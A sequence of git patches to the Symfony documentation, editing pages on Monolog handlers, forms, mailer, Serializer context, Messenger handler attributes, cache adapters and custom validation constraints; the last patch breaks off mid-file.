Date: Sun, 9 Oct 2022 17:08:05 +0200
Subject: [PATCH 2412/5766] Document new Logstash handler argument

---
 logging/handlers.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index e42452cd7de..14a3a36518c 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -34,6 +34,7 @@ To use it, declare it as a service:
                     $client: null
                     $level: !php/const Monolog\Logger::DEBUG
                     $bubble: true
+                    $elasticsearchVersion: '1.0.0'
 
     .. code-block:: xml
 
@@ -57,6 +58,7 @@ To use it, declare it as a service:
                     <argument key="client"/>
                     <argument key="level" type="constant">Monolog\Logger::DEBUG</argument>
                     <argument key="bubble">true</argument>
+                    <argument key="elasticsearchVersion">1.0.0</argument>
                 </service>
             </services>
         </container>
@@ -77,9 +79,14 @@ To use it, declare it as a service:
                 '$client' => null,
                 '$level' => Logger::DEBUG,
                 '$bubble' => true,
+                '$elasticsearchVersion' => '1.0.0',
             )
         ;
 
+.. versionadded:: 5.4
+
+    The ``$elasticsearchVersion`` argument was introduced in Symfony 5.4.
+
 Then reference it in the Monolog configuration:
 
 .. configuration-block::

From 03ecb465f88c4fd54931f89cb1d7577a39d07d71 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 17:09:47 +0200
Subject: [PATCH 2413/5766] Remove 5.4 versionadded

---
 logging/handlers.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 14a3a36518c..ef4c8990d48 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -83,10 +83,6 @@ To use it, declare it as a service:
             )
         ;
 
-.. versionadded:: 5.4
-
-    The ``$elasticsearchVersion`` argument was introduced in Symfony 5.4.
-
 Then reference it in the Monolog configuration:
 
 .. configuration-block::

From 0caef0b42d42f887545e72963857737fe70a6cd8 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 10 Oct 2022 01:06:39 +0200
Subject: [PATCH 2414/5766] Minor (language) improvements

Most important: Changing the ambiguous "**can** be guessed" to "**will be guessed".
---
 forms.rst | 20 +++++++++-----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/forms.rst b/forms.rst
index 8bf2b64ad2a..bc3e471c143 100644
--- a/forms.rst
+++ b/forms.rst
@@ -840,13 +840,13 @@ Form Type Guessing
 ~~~~~~~~~~~~~~~~~~
 
 If the object handled by the form includes validation constraints, Symfony can
-introspect that metadata to guess the type of your field and set it up for you.
-In the above example, Symfony can guess from the validation rules that both the
+introspect that metadata to guess the type of your field.
+In the above example, Symfony can guess from the validation rules that the
 ``task`` field is a normal ``TextType`` field and the ``dueDate`` field is a
 ``DateType`` field.
 
-When building the form, omit the second argument to the ``add()`` method, or
-pass ``null`` to it, to enable Symfony's "guessing mechanism"::
+To enable Symfony's "guessing mechanism", omit the second argument to the ``add()`` method, or
+pass ``null`` to it::
 
     // src/Form/Type/TaskType.php
     namespace App\Form\Type;
@@ -881,23 +881,21 @@ pass ``null`` to it, to enable Symfony's "guessing mechanism"::
 Form Type Options Guessing
 ..........................
 
-When the guessing mechanism is enabled for some field (i.e. you omit or pass
-``null`` as the second argument to ``add()``), in addition to its form type,
-the following options can be guessed too:
+When the guessing mechanism is enabled for some field, in addition to its form type,
+the following options will be guessed too:
 
 ``required``
-    The ``required`` option can be guessed based on the validation rules (i.e. is
+    The ``required`` option is guessed based on the validation rules (i.e. is
     the field ``NotBlank`` or ``NotNull``) or the Doctrine metadata (i.e. is the
     field ``nullable``). This is very useful, as your client-side validation will
     automatically match your validation rules.
 
 ``maxlength``
     If the field is some sort of text field, then the ``maxlength`` option attribute
-    can be guessed from the validation constraints (if ``Length`` or ``Range`` is used)
+    is guessed from the validation constraints (if ``Length`` or ``Range`` is used)
     or from the :doc:`Doctrine </doctrine>` metadata (via the field's length).
 
-If you'd like to change one of the guessed values, override it by passing the
-option in the options field array::
+If you'd like to change one of the guessed values, override it in the options field array::
 
     ->add('task', null, ['attr' => ['maxlength' => 4]])
 

From 4238c6d85a8a63ec77d8bc620f6b87931706023d Mon Sep 17 00:00:00 2001
From: hakimtechmyteam <aboulhaj.abdelhakim@gmail.com>
Date: Sat, 8 Oct 2022 22:52:28 +0100
Subject: [PATCH 2415/5766] [IntegerType] fix rounding_mode default value

change default value of rounding_mode option from \NumberFormatter::ROUND_HALFUP to default: \NumberFormatter::ROUND_DOWN
see https://github.com/symfony/symfony/blob/6.0/src/Symfony/Component/Form/Extension/Core/Type/IntegerType.php::49
---
 reference/forms/types/integer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index f4654e96591..5889ee0e21f 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -35,7 +35,7 @@ Field Options
 ``rounding_mode``
 ~~~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP``
+**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN``
 
 By default, if the user enters a non-integer number, it will be rounded
 down. You have several configurable options for that rounding. Each option

From 19570b8e7aae430a9f4a6658d8d2025eb9358eef Mon Sep 17 00:00:00 2001
From: rogamoore <rogamoore@users.noreply.github.com>
Date: Tue, 11 Oct 2022 15:07:22 +0100
Subject: [PATCH 2416/5766] add tip about listener priority to mailer.rst

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index d03bbef5a33..4190b079a97 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1056,6 +1056,14 @@ is sent::
         }
     }
 
+.. tip::
+
+    The ``MessageEvent`` is also used internally. Depending on your use case
+    you might need to set a lower or higher priority for your own listener.
+    For example, when you want to sign the message, make sure to use ``-1``
+    or lower so the body has already been rendered and will not change after
+    signing.
+
 Development & Debugging
 -----------------------
 

From cb957d76a0af961fb2c0b955e3342c932bbe028a Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 8 Oct 2022 11:10:04 +0200
Subject: [PATCH 2417/5766] [Messenger] Deprecate `MessageSubscriberInterface`

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b290b91bc72..b5e7a2e8377 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1980,6 +1980,11 @@ A handler class can handle multiple messages or configure itself by implementing
         }
     }
 
+.. deprecated:: 6.2
+
+    :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` was deprecated in Symfony 6.2.
+    Use :class:`#[AsMessageHandler] <Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler>` attribute instead.
+
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3b08979d1c460a93ce3232cd57bd21255ea1366b Mon Sep 17 00:00:00 2001
From: Joris Ros <joris.ros@gmail.com>
Date: Fri, 7 Oct 2022 18:24:44 +0200
Subject: [PATCH 2418/5766] docs: Add the mime type in the example

While embedding images the examples don't have a mimetype. Some email clients will not work while missing that mimetype.
---
 mailer.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d03bbef5a33..32303f97aac 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -390,9 +390,9 @@ file or stream::
     $email = (new Email())
         // ...
         // get the image contents from a PHP resource
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo')
+        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
         // get the image contents from an existing file
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature')
+        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
     ;
 
 The second optional argument of both methods is the image name ("Content-ID" in
@@ -401,8 +401,9 @@ images inside the HTML contents::
 
     $email = (new Email())
         // ...
-        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo')
-        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature')
+        ->embed(fopen('/path/to/images/logo.png', 'r'), 'logo', 'image/png')
+        ->embedFromPath('/path/to/images/signature.gif', 'footer-signature', 'image/gif')
+
         // reference images using the syntax 'cid:' + "image embed name"
         ->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...')
     ;

From 800017d4267596fc61b557a2eedae5832ea75089 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Thu, 13 Oct 2022 14:50:18 +0200
Subject: [PATCH 2419/5766] [Serializer] Allow to provide (de)normalization
 context in mapping

---
 components/serializer.rst |   5 ++
 serializer.rst            | 106 ++++++++++++++++++++++++++++++++++++++
 2 files changed, 111 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 1690959defa..b6e5498d31b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -229,6 +229,11 @@ normalized data, instead of the denormalizer re-creating them. Note that
 arrays of objects. Those will still be replaced when present in the normalized
 data.
 
+Context
+-------
+
+Many Serializer features can be configured :doc:`using a context </serializer#serializer-context>`.
+
 .. _component-serializer-attributes-groups:
 
 Attributes Groups
diff --git a/serializer.rst b/serializer.rst
index ab3e8b2002f..cc98e64e66e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -172,6 +172,112 @@ configuration:
     The ability to configure the ``default_context`` option in the
     Serializer was introduced in Symfony 5.4.
 
+You can also specify the context on a per-property basis::
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+        class Person
+        {
+            /**
+             * @Context({ DateTimeNormalizer::FORMAT_KEY = 'Y-m-d' })
+             */
+            public $createdAt;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+        class Person
+        {
+            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
+            public $createdAt;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    context:
+                        datetime_format: 'Y-m-d'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
+
+Use the options to specify context specific to normalization or denormalization::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    class Person
+    {
+        #[Context(
+            normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
+            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+        )]
+        public $createdAt;
+
+        // ...
+    }
+
+You can also restrict the usage of a context to some groups::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Annotation\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    class Person
+    {
+        #[Serializer\Groups(['extended'])]
+        #[Serializer\Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+        #[Serializer\Context(
+            context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+            groups: ['extended'],
+        )]
+        public $createdAt;
+
+        // ...
+    }
+
+The attribute/annotation can be repeated as much as needed on a single property.
+Context without group is always applied first. Then context for the matching groups are merged in the provided order.
+
+.. versionadded:: 5.3
+
+    The ``Context`` attribute, annotation and the configuration options were introduced in Symfony 5.3.
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations

From e84000da7dc8e6d9ca87f2c8da6480c56c896e06 Mon Sep 17 00:00:00 2001
From: Maxime Steinhausser <maxime.steinhausser@elao.com>
Date: Thu, 13 Oct 2022 15:05:21 +0200
Subject: [PATCH 2420/5766] [Serializer] Remove note about installing the
 FrameworkExtraBundle for using annotations

---
 serializer.rst | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 662c04d05c3..bf517a48a95 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -84,13 +84,7 @@ possible to set the priority of the tag in order to decide the matching order.
 Using Serialization Groups Annotations
 --------------------------------------
 
-To use annotations, first add support for them via the SensioFrameworkExtraBundle:
-
-.. code-block:: terminal
-
-    $ composer require sensio/framework-extra-bundle
-
-Next, add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>`
+You can add the :ref:`@Groups annotations <component-serializer-attributes-groups-annotations>`
 to your class::
 
     // src/Entity/Product.php

From e1c8dc8dd912c09e6cfcee3187fad8c896c719fe Mon Sep 17 00:00:00 2001
From: Colin O'Dell <colinodell@gmail.com>
Date: Thu, 13 Oct 2022 17:15:50 -0400
Subject: [PATCH 2421/5766] Reword "max lifetime" to "default lifetime"

---
 components/cache/adapters/chain_adapter.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/cache/adapters/chain_adapter.rst b/components/cache/adapters/chain_adapter.rst
index acb4cccaa43..b0dd5d029ee 100644
--- a/components/cache/adapters/chain_adapter.rst
+++ b/components/cache/adapters/chain_adapter.rst
@@ -12,7 +12,7 @@ This adapter allows combining any number of the other
 fetched from the first adapter containing them and cache items are saved to all the
 given adapters. This exposes a simple and efficient method for creating a layered cache.
 
-The ChainAdapter must be provided an array of adapters and optionally a maximum cache
+The ChainAdapter must be provided an array of adapters and optionally a default cache
 lifetime as its constructor arguments::
 
     use Symfony\Component\Cache\Adapter\ChainAdapter;
@@ -21,8 +21,8 @@ lifetime as its constructor arguments::
         // The ordered list of adapters used to fetch cached items
         array $adapters,
 
-        // The max lifetime of items propagated from lower adapters to upper ones
-        $maxLifetime = 0
+        // The default lifetime of items propagated from lower adapters to upper ones
+        $defaultLifetime = 0
     );
 
 .. note::

From 85ad399b93f100315b9a0e49dbf3bca71bf2e29d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 13 Oct 2022 23:27:00 +0200
Subject: [PATCH 2422/5766] [Serializer] Add
 PropertyNormalizer::NORMALIZE_VISIBILITY documentation

---
 components/serializer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index c4ed5b8ce0a..5dc2083fcf6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -797,6 +797,12 @@ The Serializer component provides several built-in normalizers:
     parent classes) by using `PHP reflection`_. It supports calling the constructor
     during the denormalization process.
 
+.. versionadded:: 6.2
+
+    You can change normalization visibility by setting the serializer context option
+    ``PropertyNormalizer::NORMALIZE_VISIBILITY`` and combine ``PropertyNormalizer::NORMALIZE_PUBLIC``,
+    ``PropertyNormalizer::NORMALIZE_PROTECTED`` or ``PropertyNormalizer::NORMALIZE_PRIVATE``.
+
     Objects are normalized to a map of property names to property values.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`

From 010de4d7bd43fbc30b80c0ccddaba12f45833f12 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 12 Oct 2022 16:50:45 +0100
Subject: [PATCH 2423/5766] [Symfony UX] reference Vue component in VueJs page

---
 frontend/encore/vuejs.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index a4162e00b65..769afa8e824 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -6,6 +6,10 @@ Enabling Vue.js (``vue-loader``)
 
     Do you prefer video tutorials? Check out the `Vue screencast series`_.
 
+.. tip::
+
+    Check out live demos of Symfony UX Vue component at `https://ux.symfony.com/vue`_!
+    
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
@@ -180,3 +184,4 @@ following in your Twig templates:
 .. _`Scoped Styles`: https://vue-loader.vuejs.org/guide/scoped-css.html
 .. _`CSS Modules`: https://github.com/css-modules/css-modules
 .. _`Vue screencast series`: https://symfonycasts.com/screencast/vue
+.. _`https://ux.symfony.com/vue`: https://ux.symfony.com/vue

From 6a369b3eb7c832e03d6d8dbcaaf13958d32510fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Oct 2022 10:15:30 +0200
Subject: [PATCH 2424/5766] Minor fix

---
 frontend/encore/vuejs.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 769afa8e824..a0955ff5b97 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -8,7 +8,7 @@ Enabling Vue.js (``vue-loader``)
 
 .. tip::
 
-    Check out live demos of Symfony UX Vue component at `https://ux.symfony.com/vue`_!
+    Check out live demos of Symfony UX Vue.js component at `https://ux.symfony.com/vue`_!
     
 Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 

From 219307ef4b74198397041fc8d50926dc5c741cc0 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Wed, 12 Oct 2022 16:48:28 +0100
Subject: [PATCH 2425/5766] [Symfony UX] reference React component in React
 page

---
 frontend/encore/reactjs.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 96f45a09f5b..facd7cdcbb6 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -6,6 +6,10 @@ Enabling React.js
 
     Do you prefer video tutorials? Check out the `React.js screencast series`_.
 
+.. tip::
+
+    Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_!
+    
 Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
@@ -36,3 +40,4 @@ Encore, you're done!
 Your ``.js`` and ``.jsx`` files will now be transformed through ``babel-preset-react``.
 
 .. _`React.js screencast series`: https://symfonycasts.com/screencast/reactjs
+.. _`https://ux.symfony.com/react`: https://ux.symfony.com/react

From 5e9482b1809f38a9f5471e4f30196409c467c7d8 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 15 Oct 2022 09:56:54 +0200
Subject: [PATCH 2426/5766] [Form] Improve `ChoiceType` CS

---
 reference/forms/types/choice.rst                  | 10 +++++-----
 reference/forms/types/options/choice_attr.rst.inc |  2 +-
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index ec4f79c7205..719faf12fca 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -72,21 +72,21 @@ method::
         // a callback to return the label for a given choice
         // if a placeholder is used, its empty value (null) may be passed but
         // its label is defined by its own "placeholder" option
-        'choice_label' => function(?Category $category) {
+        'choice_label' => function (?Category $category) {
             return $category ? strtoupper($category->getName()) : '';
         },
         // returns the html attributes for each option input (may be radio/checkbox)
-        'choice_attr' => function(?Category $category) {
+        'choice_attr' => function (?Category $category) {
             return $category ? ['class' => 'category_'.strtolower($category->getName())] : [];
         },
         // every option can use a string property path or any callable that get
         // passed each choice as argument, but it may not be needed
-        'group_by' => function() {
+        'group_by' => function () {
             // randomly assign things into 2 groups
             return rand(0, 1) == 1 ? 'Group A' : 'Group B';
         },
         // a callback to return whether a category is preferred
-        'preferred_choices' => function(?Category $category) {
+        'preferred_choices' => function (?Category $category) {
             return $category && 100 < $category->getArticleCounts();
         },
     ]);
@@ -190,7 +190,7 @@ if you want to take advantage of lazy loading::
     // ...
 
     $builder->add('constants', ChoiceType::class, [
-        'choice_loader' => new CallbackChoiceLoader(function() {
+        'choice_loader' => new CallbackChoiceLoader(function () {
             return StaticClass::getConstants();
         }),
     ]);
diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index b86b7450778..acb0fc677aa 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -33,7 +33,7 @@ If an array, the keys of the ``choices`` array must be used as keys::
             'No' => false,
             'Maybe' => null,
         ],
-        'choice_attr' => function($choice, $key, $value) {
+        'choice_attr' => function ($choice, $key, $value) {
             // adds a class like attending_yes, attending_no, etc
             return ['class' => 'attending_'.strtolower($key)];
         },

From 157020f92865e38aa9abf7036d0b7f32ee76a686 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 15 Oct 2022 10:03:52 +0200
Subject: [PATCH 2427/5766] drop the MessageSubscriberInterface in favor of the
 #AsMessageHandler attribute

---
 messenger.rst | 58 +++++++++++++++------------------------------------
 1 file changed, 17 insertions(+), 41 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0b8e1ee1eae..0e1298a3516 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -667,7 +667,7 @@ of some or all transports:
     $ php bin/console messenger:stats my_transport_name other_transport_name
 
 .. note::
-    
+
     In order for this command to work, the configured transport's receiver must implement
     :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
 
@@ -1061,7 +1061,7 @@ to retry them:
 
     # see all messages in the failure transport with a default limit of 50
     $ php bin/console messenger:failed:show
-    
+
     # see the 10 first messages
     $ php bin/console messenger:failed:show --max=10
 
@@ -1935,49 +1935,38 @@ Possible options to configure with tags are:
 * ``method``
 * ``priority``
 
-Handler Subscriber & Options
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _handler-subscriber-options:
+
+Handling Multiple Messages
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-A handler class can handle multiple messages or configure itself by implementing
-:class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface`::
+A handler class can handle multiple messages. For that add the ``#AsMessageHandler`` attribute to the handling methods::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
 
     use App\Message\OtherSmsNotification;
     use App\Message\SmsNotification;
-    use Symfony\Component\Messenger\Handler\MessageSubscriberInterface;
 
-    class SmsNotificationHandler implements MessageSubscriberInterface
+    class SmsNotificationHandler
     {
-        public function __invoke(SmsNotification $message)
+        #[AsMessageHandler]
+        public function handleSmsNotification(SmsNotification $message)
         {
             // ...
         }
 
+        #[AsMessageHandler]
         public function handleOtherSmsNotification(OtherSmsNotification $message)
         {
             // ...
         }
-
-        public static function getHandledMessages(): iterable
-        {
-            // handle this message on __invoke
-            yield SmsNotification::class;
-
-            // also handle this message on handleOtherSmsNotification
-            yield OtherSmsNotification::class => [
-                'method' => 'handleOtherSmsNotification',
-                //'priority' => 0,
-                //'bus' => 'messenger.bus.default',
-            ];
-        }
     }
 
 .. deprecated:: 6.2
 
-    :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` was deprecated in Symfony 6.2.
-    Use :class:`#[AsMessageHandler] <Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler>` attribute instead.
+    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` is another way to
+    handle multiple messages with one handler class. This interface was deprecated in Symfony 6.2.
 
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -2002,21 +1991,14 @@ To do this, add the ``from_transport`` option to each handler. For example::
     namespace App\MessageHandler;
 
     use App\Message\UploadedImage;
-    use Symfony\Component\Messenger\Handler\MessageSubscriberInterface;
 
-    class ThumbnailUploadedImageHandler implements MessageSubscriberInterface
+    #[AsMessageHandler(from_transport: 'image_transport')]
+    class ThumbnailUploadedImageHandler
     {
         public function __invoke(UploadedImage $uploadedImage)
         {
             // do some thumbnailing
         }
-
-        public static function getHandledMessages(): iterable
-        {
-            yield UploadedImage::class => [
-                'from_transport' => 'image_transport',
-            ];
-        }
     }
 
 And similarly::
@@ -2024,16 +2006,10 @@ And similarly::
     // src/MessageHandler/NotifyAboutNewUploadedImageHandler.php
     // ...
 
-    class NotifyAboutNewUploadedImageHandler implements MessageSubscriberInterface
+    #[AsMessageHandler(from_transport: 'async_priority_normal')]
+    class NotifyAboutNewUploadedImageHandler
     {
         // ...
-
-        public static function getHandledMessages(): iterable
-        {
-            yield UploadedImage::class => [
-                'from_transport' => 'async_priority_normal',
-            ];
-        }
     }
 
 Then, make sure to "route" your message to *both* transports:

From ae92fd72203248080a50b46b834685e2232276e2 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 15 Oct 2022 10:44:15 +0200
Subject: [PATCH 2428/5766] [Form] Fix `selectedchoice` test link

---
 reference/forms/types/choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index ec4f79c7205..e132b0b6ad6 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -321,5 +321,5 @@ Field Variables
 
 .. tip::
 
-    It's significantly faster to use the :ref:`form-twig-selectedchoice`
+    It's significantly faster to use the :ref:`selectedchoice <form-twig-selectedchoice>`
     test instead when using Twig.

From c845048784d62352f98ed83013300339194b61cb Mon Sep 17 00:00:00 2001
From: Erison Silva <erison.sdn@gmail.com>
Date: Sat, 15 Oct 2022 12:45:39 +0200
Subject: [PATCH 2429/5766] Update choice_translation_parameters.rst.inc

Adding missing ";" for the `choice_translation_parameters` example
---
 .../forms/types/options/choice_translation_parameters.rst.inc   | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
index a384d38d487..c1bad6dc336 100644
--- a/reference/forms/types/options/choice_translation_parameters.rst.inc
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -59,7 +59,7 @@ You can specify the placeholder values as follows::
                 return [];
             }
 
-            return ['%company%' => 'ACME Inc.']
+            return ['%company%' => 'ACME Inc.'];
         },
     ]);
 

From 76eeecbcb614fe1561656ef36859eabb5af547cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 15 Oct 2022 16:31:21 +0200
Subject: [PATCH 2430/5766] Minor tweak

---
 messenger.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0e1298a3516..30526912a80 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1940,7 +1940,8 @@ Possible options to configure with tags are:
 Handling Multiple Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-A handler class can handle multiple messages. For that add the ``#AsMessageHandler`` attribute to the handling methods::
+A single handler class can handle multiple messages. For that add the
+``#AsMessageHandler`` attribute to all the handling methods::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -1965,8 +1966,9 @@ A handler class can handle multiple messages. For that add the ``#AsMessageHandl
 
 .. deprecated:: 6.2
 
-    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface` is another way to
-    handle multiple messages with one handler class. This interface was deprecated in Symfony 6.2.
+    Implementing the :class:`Symfony\\Component\\Messenger\\Handler\\MessageSubscriberInterface`
+    is another way to handle multiple messages with one handler class. This
+    interface was deprecated in Symfony 6.2.
 
 Binding Handlers to Different Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7bd51931edc96e79056401a0e34f1d338f5ec962 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 9 Oct 2022 14:51:48 +0200
Subject: [PATCH 2431/5766] [Validator] Combine #13898 with recent changes

---
 validation/custom_constraint.rst | 286 ++++++-------------------------
 1 file changed, 57 insertions(+), 229 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 7bb2772e1be..ed30b8ecdc5 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -24,7 +24,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
      */
     class ContainsAlphanumeric extends Constraint
     {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
     }
 
 .. note::
@@ -64,7 +64,7 @@ The validator class only has one required method ``validate()``::
 
     class ContainsAlphanumericValidator extends ConstraintValidator
     {
-        public function validate($value, Constraint $constraint)
+        public function validate($value, Constraint $constraint): void
         {
             if (!$constraint instanceof ContainsAlphanumeric) {
                 throw new UnexpectedTypeException($constraint, ContainsAlphanumeric::class);
@@ -98,7 +98,7 @@ The validator class only has one required method ``validate()``::
     The feature to allow passing an object as the ``buildViolation()`` argument
     was introduced in Symfony 4.4.
 
-Inside ``validate``, you don't need to return a value. Instead, you add violations
+Inside ``validate()``, you don't need to return a value. Instead, you add violations
 to the validator's ``context`` property and a value will be considered valid
